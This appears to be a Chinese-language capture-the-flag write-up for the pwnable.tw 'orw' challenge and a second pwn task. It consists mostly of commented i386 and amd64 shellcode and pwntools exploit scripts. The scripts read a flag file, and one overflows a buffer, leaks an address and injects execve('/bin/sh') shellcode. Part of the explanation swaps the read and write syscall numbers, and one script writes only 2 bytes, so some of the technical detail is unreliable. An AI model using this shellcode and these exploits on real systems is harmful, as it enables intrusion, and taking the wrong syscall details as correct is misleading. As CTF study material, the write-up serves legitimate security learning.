fd = open("/home/orw/flag","w");//首先打開文件
read(fd,buf,0x20);//讀取文件的信息，放入到局部變量buf中
write(1,buf,0x20);//將變量buf的內容打印出來，這裡的足夠打印出flag的長度即可，由於不知道flag的具體長度可以設置為長一點

#首先對照偽C代碼以及系統調用表進行shellcode的編寫
fd = open("/home/orw/flag","w")
#相應的彙編
xor ecx,ecx #清空ecx寄存器，open的調用該寄存器的值設為null
xor edx,edx #清空edx寄存器，open的調用該寄存器的值設為null
mov eax,0x5 #調用號設置為5
push 0x006761 #將/home/orw/flag壓入棧中，注意是棧是先進後出，因此字符串需要從最末尾開始壓入即將字符
push 0x6c662f77 #轉為16進制要反向排序，並且字符串需要添加截斷符\x00，push要以4位元組為單位。
push 0x726f2f65
push 0x6d6f682f
mov ebx,esp #fd的值為路徑的地址
int 0x80 #調用80中斷，實現系統調用

#c語言
read(fd,buf,0x20)或read(3,buf,0x20)#這裡的3為其他文件描述符，下面會詳細介紹
#相應的彙編
mov eax,0x4
mov ebx,0x3 #這裡用3代替了oepn返回的fd指針，因為3可以用作於打開文件時的文件描述符，若想用open返回的指針則應該將系統調用號移動到eax寄存器前，先保存eax的內容。
mov ecx,esp #將esp作為臨時變量buf的地址
mov edx,0x20 #讀入的長度為0x20
int 0x80 #調用80中斷，實現系統調用

#c語言
write(1,buf,0x20)
#相應的彙編
mov eax,0x3#系統調用號0x3
mov ebx,0x1#文件描述符為1，指向屏幕
mov ecx,esp #將esp作為臨時變量buf的地址
mov edx,0x20 #打印的字符串的長度
int 0x80 #調用80中斷，實現系統調用

#這裡可以用pwntools庫的一個函數代替,shellcraft
c語言:open("/home/orw/flag") <==> 彙編:asm(shellcraft.open("/home/orw/flag"))
c語言:read(3,buf,0x20)<==> 彙編:asm(shellcraft.read(3,"esp",0x20)
c語言:write(1,buf,0x20)<==>彙編:asm(shellcraft.write(1,"esp",0x20))
文件描述符

from pwn import *
context(log_level='debug',arch='i386',os='linux')
#sh = remote("node3.buuoj.cn",29479)
sh = remote("chall.pwnable.tw",10001)
sh.recvuntil("shellcode:")

payload = asm(shellcraft.open("/home/orw/flag"))
payload += asm(shellcraft.read(3,"esp",100))
payload += asm(shellcraft.write(1,"esp",100))
sh.sendline(payload)

sh.interactive()

from pwn import *

context(arch='i386',os='linux')
#sh = remote("node3.buuoj.cn",25212)
sh = remote("chall.pwnable.tw",10001)
sh.recvuntil("shellcode:")
payload = asm("xor ecx,ecx")
payload += asm("xor edx,edx")
payload += asm("mov eax,0x5")
payload += asm("push 0x006761")
payload += asm("push 0x6c662f77")
payload += asm("push 0x726f2f65")
payload += asm("push 0x6d6f682f")
payload += asm("mov ebx,esp")
payload += asm("int 0x80")

payload += asm("mov eax,0x3")
payload += asm("mov ebx,0x3")
payload += asm("mov ecx,esp")
payload += asm("mov edx,0x20")
payload += asm("int 0x80")

payload += asm("mov eax,0x4")
payload += asm("mov ebx,0x1")
payload += asm("mov ecx,esp")
payload += asm("mov edx,0x2")
payload += asm("int 0x80")

sh.sendline(payload)
sh.interactive()

payload = asm("mov rax,0;") #系統調用號
payload += asm("mov rdi,0;")#文件描述符
payload += asm("mov rsi,0x601080")#.bss段地址，用於buf地址
payload += asm("mov rdx,0x40")#輸入長度
payload += asm("syscall")#syscall啟動調用
payload += asm("push 0x601080")#返回地址
payload += asm("ret")#ret指令返回任意地址
payload = payload.ljust(0x38,'b')
payload += p64(addr)

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
sh = process("./pwn")
sh.recvuntil(" your choice:")
sh.sendline("3")
sh.recvuntil("What?")
payload = 'a'*0x28+p64(305419896)
sh.send(payload)
sh.recvuntil(" your choice:")
sh.sendline("2")
sh.recvuntil("It is magic: [")
addr = int(sh.recv(14),16)
print 'addr:'+hex(addr)
sh.sendline("3")
sh.recvuntil("What?")
payload = asm("mov rax,0;")
payload += asm("mov rdi,0;")
payload += asm("mov rsi,0x601080")
payload += asm("mov rdx,0x40")
payload += asm("syscall")
payload += asm("push 0x601080")
payload += asm("ret")
payload = payload.ljust(0x38,'b')
payload += p64(addr)
#attach(sh)
sh.send(payload)
payload = asm("mov eax,59") #調用59號系統調用，execve("/bin/sh",0,0);
payload += asm("xor rsi,rsi")
payload += asm("xor rdx,rdx")
payload += asm("mov rdi, 0x6010a8")
payload += asm("syscall")
payload = payload.ljust(0x28,'\x00')
payload += '/bin/sh\x00'
attach(sh)
sh.send(payload)
sh.interactive()